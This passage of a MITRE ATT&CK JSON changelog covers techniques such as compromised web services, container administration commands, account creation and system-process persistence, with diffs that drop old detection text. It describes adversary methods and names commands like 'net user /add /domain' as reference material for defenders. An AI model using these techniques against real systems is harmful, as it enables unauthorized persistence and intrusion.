SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Once adversaries have provisioned software on a compromised VPS (ex: for use as a command and control server), internet scans may reveal VPSs that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0035: Internet Scan (Response Content)", + "DS0035: Internet Scan (Response Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0854: Detection of Virtual Private Server" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--ae797531-3219-49a4-bccf-324ad7a4c7b2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-01 01:01:00.176000+00:00", + "modified": "2025-10-24 17:49:13.641000+00:00", + "name": "Web Services", + "description": "Adversaries may compromise access to third-party web services\u00a0that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, SendGrid, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)), [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567), or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Recorded Future Turla Infra 2020) Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. Additionally, leveraging compromised web-based email services may allow adversaries to leverage the trust associated with legitimate domains.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1584/006", + "external_id": "T1584.006" + }, + { + "source_name": "Recorded Future Turla Infra 2020", + "description": "Insikt Group. (2020, March 12). Swallowing the Snake\u2019s Tail: Tracking Turla Infrastructure. Retrieved September 16, 2024.", + "url": "https://www.recordedfuture.com/research/turla-apt-infrastructure" + }, + { + "source_name": "ThreatConnect Infrastructure Dec 2020", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Dor Edry, Microsoft" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:13.641000+00:00\", \"old_value\": \"2025-04-15 23:20:42.131000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Once adversaries leverage the abused web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020)\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Once adversaries leverage the abused web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020)\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0035: Internet Scan (Response Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0882: Detection of Web Services" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--7b50a1d3-4ca7-45d1-989d-a6503f04bfe1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-03-29 16:39:26.183000+00:00", + "modified": "2025-10-24 17:48:59.945000+00:00", + "name": "Container Administration Command", + "description": "Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.(Citation: Docker Daemon CLI)(Citation: Kubernetes API)(Citation: Kubernetes Kubelet)\n\nIn Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as docker exec to execute a command within a running container.(Citation: Docker Entrypoint)(Citation: Docker Exec) In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as kubectl exec.(Citation: Kubectl Exec Get Shell)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1609", + "external_id": "T1609" + }, + { + "source_name": "Docker Exec", + "description": "Docker. (n.d.). Docker Exec. Retrieved March 29, 2021.", + "url": "https://docs.docker.com/engine/reference/commandline/exec/" + }, + { + "source_name": "Docker Entrypoint", + "description": "Docker. (n.d.). Docker run reference. Retrieved March 29, 2021.", + "url": "https://docs.docker.com/engine/reference/run/#entrypoint-default-command-to-execute-at-runtime" + }, + { + "source_name": "Docker Daemon CLI", + "description": "Docker. (n.d.). DockerD CLI. Retrieved March 29, 2021.", + "url": "https://docs.docker.com/engine/reference/commandline/dockerd/" + }, + { + "source_name": "Kubectl Exec Get Shell", + "description": "The Kubernetes Authors. (n.d.). Get a Shell to a Running Container. Retrieved March 29, 2021.", + "url": "https://kubernetes.io/docs/tasks/debug-application-cluster/get-shell-running-container/" + }, + { + "source_name": "Kubernetes Kubelet", + "description": "The Kubernetes Authors. (n.d.). Kubelet. Retrieved March 29, 2021.", + "url": "https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/" + }, + { + "source_name": "Kubernetes API", + "description": "The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.", + "url": "https://kubernetes.io/docs/concepts/overview/kubernetes-api/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Alfredo Oliveira, Trend Micro", + "David Fiser, @anu4is, Trend Micro", + "Brad Geesaman, @bradgeesaman", + "Center for Threat-Informed Defense (CTID)", + "Magno Logan, @magnologan, Trend Micro", + "Vishwas Manral, McAfee", + "Yossi Weizman, Azure Defender Research Team" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:59.945000+00:00\", \"old_value\": \"2025-04-15 19:58:44.024000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Container administration service activities and executed commands can be captured through logging of process execution with command-line arguments on the container and the underlying host. In Docker, the daemon log provides insight into events at the daemon and container service level. Kubernetes system component logs may also detect activities running in and out of containers in the cluster. \"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1035: Limit Access to Resource Over Network", + "M1038: Execution Prevention", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0065: Detection Strategy for Container Administration Command Abuse" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--0470e792-32f8-46b0-a351-652bc35e9336", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-03-31 14:26:00.848000+00:00", + "modified": "2025-10-24 17:48:20.661000+00:00", + "name": "Container and Resource Discovery", + "description": "Adversaries may attempt to discover containers and other resources that are available within a containers environment. Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster.\n\nThese resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs.(Citation: Docker API)(Citation: Kubernetes API) In Docker, logs may leak information about the environment, such as the environment\u2019s configuration, which services are available, and what cloud provider the victim may be utilizing. The discovery of these resources may inform an adversary\u2019s next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1613", + "external_id": "T1613" + }, + { + "source_name": "Docker API", + "description": "Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved March 31, 2021.", + "url": "https://docs.docker.com/engine/api/v1.41/" + }, + { + "source_name": "Kubernetes API", + "description": "The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.", + "url": "https://kubernetes.io/docs/concepts/overview/kubernetes-api/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Vishwas Manral, McAfee", + "Center for Threat-Informed Defense (CTID)", + "Yossi Weizman, Azure Defender Research Team" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Pod: Pod Enumeration\", \"Container: Container Enumeration\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:20.661000+00:00\", \"old_value\": \"2025-04-15 22:10:13.179000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Establish centralized logging for the activity of container and Kubernetes cluster components. This can be done by deploying logging agents on Kubernetes nodes and retrieving logs from sidecar proxies for application pods to detect malicious activity at the cluster level.\\n\\nMonitor logs for actions that could be taken to gather information about container infrastructure, including the use of discovery API calls by new or unexpected users. Monitor account activity logs to see actions performed and activity associated with the Kubernetes dashboard and other web applications. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Establish centralized logging for the activity of container and Kubernetes cluster components. This can be done by deploying logging agents on Kubernetes nodes and retrieving logs from sidecar proxies for application pods to detect malicious activity at the cluster level.\\n-\\n-Monitor logs for actions that could be taken to gather information about container infrastructure, including the use of discovery API calls by new or unexpected users. Monitor account activity logs to see actions performed and activity associated with the Kubernetes dashboard and other web applications. \"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1030: Network Segmentation", + "M1035: Limit Access to Resource Over Network" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0014: Pod (Pod Enumeration)", + "DS0032: Container (Container Enumeration)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0490: Detection Strategy for Container and Resource Discovery" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14 16:46:06.044000+00:00", + "modified": "2025-10-24 17:49:30.136000+00:00", + "name": "Create Account", + "description": "Adversaries may create an account to maintain access to victim systems.(Citation: Symantec WastedLocker June 2020) With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\n\nAccounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1136", + "external_id": "T1136" + }, + { + "source_name": "Microsoft User Creation Event", + "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.", + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720" + }, + { + "source_name": "Symantec WastedLocker June 2020", + "description": "Symantec Threat Intelligence. (2020, June 25). WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved May 20, 2021.", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Microsoft Threat Intelligence Center (MSTIC)", + "Praetorian", + "Austin Clark, @c2defense" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS", + "Network Devices", + "Containers", + "SaaS", + "Office Suite", + "Identity Provider", + "ESXi" + ], + "x_mitre_version": "2.6", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"User Account: User Account Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:30.136000+00:00\", \"old_value\": \"2025-04-15 19:59:14.796000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for processes and command-line parameters associated with account creation, such as net user or useradd. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.\\n\\nCollect usage logs from cloud administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for processes and command-line parameters associated with account creation, such as net user or useradd. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.\\n-\\n-Collect usage logs from cloud administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.\"}}}", + "previous_version": "2.6", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1028: Operating System Configuration", + "M1030: Network Segmentation", + "M1032: Multi-factor Authentication" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Creation)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0583: Detection Strategy for T1136 - Create Account across platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--a009cb25-4801-4116-9105-80a91cf15c1b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-29 17:32:30.711000+00:00", + "modified": "2025-10-24 17:49:09.917000+00:00", + "name": "Cloud Account", + "description": "Adversaries may create a cloud account to maintain access to victim systems. With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: AWS Create IAM User)(Citation: GCP Create Cloud Identity Users)(Citation: Microsoft Azure AD Users)\n\nIn addition to user accounts, cloud accounts may be associated with services. Cloud providers handle the concept of service accounts in different ways. In Azure, service accounts include service principals and managed identities, which can be linked to various resources such as OAuth applications, serverless functions, and virtual machines in order to grant those resources permissions to perform various activities in the environment.(Citation: Microsoft Entra ID Service Principals) In GCP, service accounts can also be linked to specific resources, as well as be impersonated by other accounts for [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005).(Citation: GCP Service Accounts) While AWS has no specific concept of service accounts, resources can be directly granted permission to assume roles.(Citation: AWS Instance Profiles)(Citation: AWS Lambda Execution Role)\n\nAdversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection.\n\nOnce an adversary has created a cloud account, they can then manipulate that account to ensure persistence and allow access to additional resources - for example, by adding [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) or assigning [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1136/003", + "external_id": "T1136.003" + }, + { + "source_name": "Microsoft O365 Admin Roles", + "description": "Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et. al.. (2019, October 8). About admin roles. Retrieved October 18, 2019.", + "url": "https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide" + }, + { + "source_name": "AWS Create IAM User", + "description": "AWS. (n.d.). Creating an IAM User in Your AWS Account. Retrieved January 29, 2020.", + "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users_create.html" + }, + { + "source_name": "AWS Lambda Execution Role", + "description": "AWS. (n.d.). Lambda execution role. Retrieved February 28, 2024.", + "url": "https://docs.aws.amazon.com/lambda/latest/dg/lambda-intro-execution-role.html" + }, + { + "source_name": "AWS Instance Profiles", + "description": "AWS. (n.d.). Using instance profiles. Retrieved February 28, 2024.", + "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html" + }, + { + "source_name": "GCP Create Cloud Identity Users", + "description": "Google. (n.d.). Create Cloud Identity user accounts. Retrieved January 29, 2020.", + "url": "https://support.google.com/cloudidentity/answer/7332836?hl=en&ref_topic=7558554" + }, + { + "source_name": "GCP Service Accounts", + "description": "Google. (n.d.). Service Accounts Overview. Retrieved February 28, 2024.", + "url": "https://cloud.google.com/iam/docs/service-account-overview" + }, + { + "source_name": "Microsoft Azure AD Users", + "description": "Microsoft. (2019, November 11). Add or delete users using Azure Active Directory. Retrieved January 30, 2020.", + "url": "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/add-users-azure-active-directory" + }, + { + "source_name": "Microsoft Entra ID Service Principals", + "description": "Microsoft. (2023, December 15). Application and service principal objects in Microsoft Entra ID. Retrieved February 28, 2024.", + "url": "https://learn.microsoft.com/en-us/entra/identity-platform/app-objects-and-service-principals?tabs=browser" + }, + { + "source_name": "Microsoft Support O365 Add Another Admin, October 2019", + "description": "Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.", + "url": "https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Praetorian", + "Microsoft Threat Intelligence Center (MSTIC)", + "Arun Seelagan, CISA" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "SaaS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "1.6", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"User Account: User Account Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:09.917000+00:00\", \"old_value\": \"2025-04-15 22:01:16.589000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Collect usage logs from cloud user and administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.\"}}}", + "previous_version": "1.6", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1030: Network Segmentation", + "M1032: Multi-factor Authentication" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0319: Detection Strategy for T1136.003 - Cloud Account Creation across IaaS, IdP, SaaS, Office" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-28 14:05:17.825000+00:00", + "modified": "2025-10-24 17:48:57.883000+00:00", + "name": "Domain Account", + "description": "Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the net user /add /domain command can be used to create a domain account.(Citation: Savill 1999)\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1136/002", + "external_id": "T1136.002" + }, + { + "source_name": "Microsoft User Creation Event", + "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.", + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720" + }, + { + "source_name": "Savill 1999", + "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.", + "url": "https://web.archive.org/web/20150511162820/http://windowsitpro.com/windows/netexe-reference" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"User Account: User Account Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:57.883000+00:00\", \"old_value\": \"2025-04-15 22:21:24.212000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for processes and command-line parameters associated with domain account creation, such as net user /add /domain. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain accounts to detect suspicious accounts that may have been created by an adversary.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1028: Operating System Configuration", + "M1030: Network Segmentation", + "M1032: Multi-factor Authentication" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Creation)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0003: T1136.002 Detection Strategy - Domain Account Creation Across Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-10 16:03:18.865000+00:00", + "modified": "2025-10-24 17:48:24.896000+00:00", + "name": "Create or Modify System Process", + "description": "Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons) \n\nAdversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect. \n\nServices, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.(Citation: OSX Malware Detection) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1543", + "external_id": "T1543" + }, + { + "source_name": "AppleDocs Launch Agent Daemons", + "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.", + "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html" + }, + { + "source_name": "TechNet Services", + "description": "Microsoft. (n.d.). Services. Retrieved June 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc772408.aspx" + }, + { + "source_name": "OSX Malware Detection", + "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved November 17, 2024.", + "url": "https://papers.put.as/papers/macosx/2016/RSA_OSX_Malware.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux", + "Containers" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Service: Service Creation\", \"Container: Container Creation\", \"Driver: Driver Load\", \"Service: Service Modification\", \"Process: Process Creation\", \"Windows Registry: Windows Registry Key Modification\", \"File: File Modification\", \"File: File Creation\", \"Windows Registry: Windows Registry Key Creation\", \"Process: OS API Execution\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:24.896000+00:00\", \"old_value\": \"2025-04-15 22:11:29.155000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for changes to system processes that do not correlate with known software, patch cycles, etc., including by comparing results against a trusted system baseline. New, benign system processes may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. \\n\\nCommand-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. \\n\\nMonitor for changes to files associated with system-level processes.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor for changes to system processes that do not correlate with known software, patch cycles, etc., including by comparing results against a trusted system baseline. New, benign system processes may be created during 